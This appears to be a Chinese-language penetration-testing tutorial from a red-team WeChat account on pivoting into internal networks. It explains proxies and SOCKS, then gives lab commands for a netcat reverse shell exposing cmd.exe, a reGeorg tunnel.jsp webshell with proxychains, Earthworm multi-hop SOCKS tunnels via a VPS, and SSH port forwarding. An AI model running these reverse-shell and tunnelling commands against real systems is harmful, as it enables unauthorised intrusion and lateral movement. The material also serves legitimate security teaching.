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内⽹渗透之代理转发

这是  酒仙桥六号部队  的第  3 6  篇⽂章。

全⽂共计 3 4 4 7个字，预计阅读时⻓ 1 2分钟。

1 前⾔

谈到内⽹转发，在我们⽇常的渗透测试过程中经常会⽤到端⼝转发，可以利⽤代理脚本

将内⽹的流量代理到本地进⾏访问，这样极⼤的⽅便了我们对内⽹进⾏横向渗透。

那为什么不直接通过登陆服务器来对内⽹中其他机器进⾏渗透，⽽是通过内⽹转发呢？

意义何在呢？

原创 队员编号036 7⽉10⽇酒仙桥六号部队
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因为 . . . . . . . . .

⼤部分时候拿到权限不够，⽆法直接登录。

⽽且如果在内⽹服务器中进⾏操作，我们需要上传⼯具进⾏很多操作，如果服务器缺少

对应的环境变量或者组件，会导致渗透受阻。

⽽且直接远程登录会留下⽐较明显的痕迹。

因此内⽹转发是我们最好的选择，在本地进⾏操作是最⽅便的，也⽐较安全 ~ ~ ~

说这么多，不知道⼤家有没有听过 "代理 "这个词，这个东⻄和我们要说的内⽹转发有很

⼤的关系 ~

2 正向和反向代理

那接下来咱们唠⼀下什么是正向 /反向代理？
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正向代理中，P r o x y和C l i e n t同属⼀个区域，对S e r v e r是透明的；反向代理中，P r o x y

和S e r v e r同属⼀个区域，对C l i e n t透明。但其实这不管是正向还是反向代理都有⼀个共

同的特点，都是代替收发请求和响应，不过从结构上来看正好左右互换了下，所以把前

者那种代理⽅式叫做正向代理，后⾯那个玩意叫做反向代理。

2 . 1正向代理 ( F o r w a r d  P r o x y )

L h o s t -  - > p r o x y－－> R h o s t

L h o s t为了访问到R h o s t，向p r o x y发送了⼀个请求并且指定⽬标是R h o s t，然后p r o x y

向R h o s t转交请求并将获得的内容返回给 L h o s t，简单来说正向代理就是 p r o x y代替了

我们去访问R h o s t。

2 . 2反向代理 ( R e v e r s e  P r o x y )
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L h o s t < - - - > p r o x y < - - - > f i r e w a l l < - - - > R h o s t

和正向代理相反（废话），⼀般情况下，防⽕墙肯定不能让外⽹机器随便访问地访问内

⽹机器，所以就提出反向代理。

L h o s t只向p r o x y发送普通的请求，具体让他转到哪⾥，p r o x y⾃⼰判断，然后将返回的

数据递交回来，这样的好处就是在某些防⽕墙只允许 p r o x y数据进出的时候可以有效的

进⾏穿透。

简单区分

正向代理的是客户端，反向代理的是服务端，可以理解为正向代理是就⽐如年少时期喜

欢那个 T a，当时很羞涩需要我⾃⼰ ( L h o s t )写⼀份信 ( p r o x y )去告诉 T a，反向代理就是

喜欢的那个T a ( R h o s t )知道并且主动 ( p r o x y )过来告诉⾃⼰ ( L h o s t )。

有⼈要问了，代理本质⼜是基于什么 "何⽅神圣 "呢？

那就是S o c k s协议 ~ ~

3 Socks协议

什么是S o c k s协议？？

中⽂意思：防⽕墙安全会话转换协议，⼯作在O S I参考模型的第5层（会话层）。
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它是⼀种可以穿透防⽕墙的协议，很多场景都会⽤到。⽐如F a n墙，你们懂得 ~ ~

因为 S o c k s介于传输层与表示层之间，使⽤ T C P协议传输数据，因⽽不提供如传递

I C M P信息之类的⽹络层相关服务。

⽬前有两个版本：S O C K S 4和S O C K S 5

S O C K S 4⽀持T E L N E T、F T P H T T P等T C P协议；

S O C K S 5⽀持T C P与U D P，并⽀持安全认证⽅案。

P s :  S o c k s不⽀持 I C M P，不能使⽤p i n g命令。。记住哦 ~ ~ ~

当然啦，基于 s o c k s的转发代理有很多的实⽤的⼩⼯具，少侠看图吧 ~

常⻅的转发⼯具及不同平台的代理链⼯具：
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这些⼯具能对我们内⽹横向渗透产⽣什么效果呢？接下来就开始进⾏⼀波模拟实战吧 ~

4 Natcat

让我们的神器出⼿- -瑞⼠军⼑，也叫N C，⼩巧强悍，主要作⽤就是⽤来反弹 s h e l l。

主机A： 1 9 2 . 1 6 8 . 1 5 3 . 1 3 8

主机B： 1 9 2 . 1 6 8 . 1 5 3 . 1 4 0
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正向连接

在主机A执⾏n c  - l  - p  5 5 5 5  - t  - e  c m d . e x e

- t是通过 t e l n e t模式执⾏  c m d . e x e  程序，可以省略。

在主机B执⾏n c  - n v v  1 9 2 . 1 6 8 . 1 5 3 . 1 3 8  5 5 5 5：

反向连接

在主机B监听n c  - l p  5 5 5 5：

在主机A反弹n c  - t  - e  c m d  1 9 2 . 1 6 8 . 1 5 3 . 1 4 0  5 5 5 5：
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5 reGeorg+Proxychains

r e G e o r g是 r e D u h的升级版，主要是把内⽹服务器的端⼝通过 h t t p / h t t p s隧道转发到

本机。

1 .上传 r e G e o r g的 t u n n e l . j s p到w e b主机A。访问链接，并转发到本地端⼝。

主机B以p y t h o n环境运⾏：

p y t h o n  r e G e o r g S o c k s P r o x y . p y  - p  1 0 8 0  - u  h t t p : / / 1 9 2 . 1 6 8 . 1 5 3 . 1 3 7 / t u n n e

l . j s p
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使⽤设置p r o x y c h a i n s的代理端⼝，进⾏访问，⼀般配合 n m a p和m e t a s p l o i t进⾏后续

内⽹渗透。

P s： s o c k s 4版本协议不⽀持 u d p和 i c m p协议，所以使⽤ n m a p要加上- s T  - P n即使⽤

t c p协议且不使⽤ i c m p协议。

6 Earthworm+Proxychains

E W  是⼀套便携式的⽹络穿透⼯具，具有 S O C K S v 5服务架设和端⼝转发两⼤核⼼功

能，可在复杂⽹络环境下完成⽹络穿透。
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该⼯具能够以 "正向 "、 "反向 "、 "多级级联 "等⽅式打通⼀条⽹络隧道，直达⽹络深处，

⽤蚯蚓独有的⼿段突破⽹络限制，给防⽕墙松⼟。

⽀持  L i n u x、W i n d o w s、M a c O S、A r m - L i n u x  均被包括其内，强烈推荐使⽤。

该⼯具借⽤了  s s o c k s  和  l c x . e x e  的操作逻辑，并进⾏更多的功能强化。

⽬前⼯具提供六种链路状态，可通过  - s  参数进⾏选定，分别为 :

s s o c k s d  r c s o c k s  r s s o c k s

l c x _ s l a v e  l c x _ t r a n  l c x _ l i s t e n

其中  S O C K S 5  服务的核⼼逻辑⽀持由  s s o c k s d  和  r s s o c k s  提供，分别对应正向与

反向 s o c k s代理。

其余的  l c x  链路状态⽤于打通测试主机同  s o c k s  服务器之间的通路。

l c x  类别管道：

l c x _ s l a v e  该管道⼀侧通过反弹⽅式连接代理请求⽅，另⼀侧连接代理提供主机。

l c x _ t r a n  该管道，通过监听本地端⼝接收代理请求，并转交给代理提供主机。

l c x _ l i s t e n  该管道，通过监听本地端⼝接收数据，并将其转交给⽬标⽹络回连的代理提

供主机。
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通过组合 l c x类别管道的特性，可以实现多层内⽹环境下的渗透测试。

6 . 1  正向S O C K S 5服务器

当⽬标⽹络边界存在公⽹ I P且可任意开监听端⼝：

. / e w _ f o r _ W i n . e x e  - s  s s o c k s d  - l  8 8 8 8

上述命令是在该机器（ 1 9 2 . 1 6 8 . 1 5 3 . 1 4 0）开启⼀个8 8 8 8的正向连接端⼝。

然后其它主机可通过设置代理为 1 9 2 . 1 6 8 . 1 5 3 . 1 4 0 : 8 8 8 8添加这个代理，这⾥使⽤的是

p r o x y c h a i n s。

6 . 2  反弹S O C K S 5服务器

当⽬标⽹络边界不存在公⽹ I P，通过反弹⽅式创建 s o c k s代理。

先在⼀台具有公⽹  i p  的主机A上运⾏以下命令：

. / e w _ f o r _ l i n u x 6 4  - s  r c s o c k s  - l  1 0 8 0  - e  8 8 8 8
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意思是在我们公⽹V P S上添加⼀个转接隧道，把 1 0 8 0端⼝收到的代理请求转交给 8 8 8 8

端⼝。

在⽬标主机B上启动S O C K S 5服务  并反弹到公⽹主机的8 8 8 8端⼝：

e w _ f o r _ W i n . e x e  - s  r s s o c k s  - d  1 9 2 . 1 6 8 . 1 5 3 . 1 2 9  - e  8 8 8 8

本地主机（ 1 9 2 . 1 6 8 . 1 5 3 . 1 2 9）然后通过添加公⽹ 1 9 2 . 1 6 8 . 1 5 3 . 1 2 9 : 1 0 8 0这个代理 ,

来访问内⽹机器（ 1 9 2 . 1 6 8 . 1 5 3 . 1 2 9）

当然如果本地主机如果是公⽹ i p，就可以把在公⽹执⾏的步骤放在本地执⾏即可。

6 . 3  ⼆级⽹络环境 (有公⽹ I P )

假 设 我 们 获 得 了 右 侧 A 主 机 和 B 主 机 的 控 制 权 限 ， A 主 机 配 有 2 块 ⽹ 卡 ， ⼀ 块

1 0 . 1 2 9 . 7 2 . 1 6 8连通外⽹，⼀块 1 9 2 . 1 6 8 . 1 5 3 . 1 4 0只能连接内⽹B主机，⽆法访问内⽹

其它资源。B主机可以访问内⽹资源，但⽆法访问外⽹。
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先上传 e w到B主机，利⽤ s s o c k s d⽅式启动8 8 8 8端⼝的S O C K S代理，命令如下：

e w _ f o r _ W i n . e x e  - s  s s o c k s d  - l  8 8 8 8

然后在A主机执⾏：

e w _ f o r _ W i n . e x e  - s  l c x _ t r a n  - l  1 0 8 0  - f  1 9 2 . 1 6 8 . 1 5 3 . 1 3 8  - g  8 8 8 8

含义是将 1 0 8 0端⼝收到的代理请求转交给B主机（ 1 9 2 . 1 6 8 . 1 5 3 . 1 3 8）的8 8 8 8端⼝。

然后M y P c就可以通过A的外⽹代理 1 0 . 1 2 9 . 7 2 . 1 6 8 : 1 0 8 0访问B。

6 . 4  ⼆级⽹络环境 (⽆公⽹ I P )
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假设我们获得了右侧A主机和B主机的控制权限，A主机（N A T）没有公⽹ I P，也⽆法访

问内⽹资源。B主机可以访问内⽹资源，但⽆法访问外⽹。

这次操作有四步：

1 .在公⽹ v p s（ 4 5 . x x x . x x x . 7 2）添加转接隧道，将 1 0 8 0 0端⼝收到的代理请求转交给

8 8 8 8端⼝；

. / e w _ f o r _ l i n u x 6 4  - s  l c x _ l i s t e n  - l  1 0 8 0 0  - e  8 8 8 8

2 . B主机（ 1 9 2 . 1 6 8 . 1 5 3 . 1 3 8）主机正向开启8 8 8 8端⼝；

. / e w _ f o r _ W i n . e x e  - s  s s o c k s d  - l  9 9 9 9

3 . A主机利⽤ l c x _ s l a v e⽅式，将公⽹V P S的8 8 8端⼝和B主机的9 9 9端⼝连接起来；

. / e w _ f o r _ W i n . e x e  - s  l c x _ s l a v e  - d  4 5 . x x x . x x x . 7 2  - e  8 8 8 8  -

f 1 9 2 . 1 6 8 . 1 5 3 . 1 3 8  - g  9 9 9 9
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4 .现在M y P C可通过访问 4 5 . x x x . x x x . 7 2 : 1 0 8 0 0来使⽤ 1 9 2 . 1 6 8 . 1 5 3 . 1 3 8主机提供的

s o c k s 5代理，代理成功， v p s会有 r s s o c k s c m d _ s o c k e t  O K !提示。

7 ssh隧道代理转发

s s h有三个强⼤的端⼝转发命令，分别是本地转发、远程转发、动态转发。

s o c k s代理 :

s s h  - q T f n N  - D  p o r t  r e m o t e h o s t

参数详解：

- C  允许压缩数据

- q  安静模式

- T不占⽤  s h e l l

- f  后台运⾏，并推荐加上  - n  参数

- N不执⾏远程命令

- g允许远端主机连接本地转发的端⼝

- n把  s t d i n  重定向到  / d e v / n u l l  (防⽌从  s t d i n  读取数据 )
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- L  p o r t : h o s t  : h o s t p o r t  正向代理

/ /将本地机 (客户机 )的某个端⼝转发到远端指定机器的指定端⼝

- R  p o r t : h o s t  : h o s t p o r t  反向代理

/ /将远程主机 (服务器 )的某个端⼝转发到本地端指定机器的指定端⼝

- D  p o r t  s o c k s 5代理

/ /指定⼀个本地机器  "动态 "  应⽤程序端⼝转发。

7 . 1  s s h本地转发

远程管理服务器上的m y s q l，m y s q l不能直接 r o o t⽤户远程登陆。这时候就可以通过本

地转发，通过 s s h将服务器的 3 3 0 6端⼝转发到本地 1 2 3 4端⼝实现以 r o o t⽤户远程登陆

m y s q l。

s s h  - C f N g  - L  <本机地址 > : <本机端⼝ > : <⽬标 B地址 > : <⽬标 B端⼝ >⽤户名@跳板

I P ( A )

s s h  - C f N g  - L  1 2 3 4 : 1 2 7 . 0 . 0 . 1 : 3 3 0 6  r o o t @ 4 5 . X X . X X . X 2 1

7 . 2  s s h远程转发



2020/7/27 内⽹渗透之代理转发

https://mp.weixin.qq.com/s/6Q_i34ND-Epcu-71LHZRlA 17/18

内⽹的服务器，外⽹不能直接访问，使⽤远程转发，将内⽹的服务器端⼝转发到外⽹端

⼝。这时候访问外⽹的端⼝，就可以直接访问到了内⽹的端⼝。

s s h  - C f N g  - R  <本地端⼝> : <⽬标B地址> : <⽬标B端⼝>  ⽤户名@本地 I P

s s h  - C f N g  - R  8 1 : 1 2 7 . 0 . 0 . 1 : 8 0  r o o t @ 1 9 2 . 1 6 8 . 1 5 3 . 1 4 2

现在在 1 9 2 . 1 6 8 . 1 5 3 . 1 4 2访问 1 2 7 . 0 . 0 . 1 : 8 1就是访问内⽹的服务器的8 0端⼝。

7 . 3  s s h动态转发

远端服务器有限制隔离，本地主机⽆法直接访问，需要将⼀台可以访问远端服务器的主

机作为跳板，设置为代理端，来代理访问不能访问的资源。
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s s h  - q T f n N  - D  <本地端⼝>  ⽤户名@跳板 I P ( A )

s s h  - q T f n N  - D  1 0 8 0  r o o t @ 4 5 . X X . X X . X 2 1

本地P r o x y c h a i n s配置 s o c k s 4  1 2 7 . 0 . 0 . 1 : 1 0 8 0。


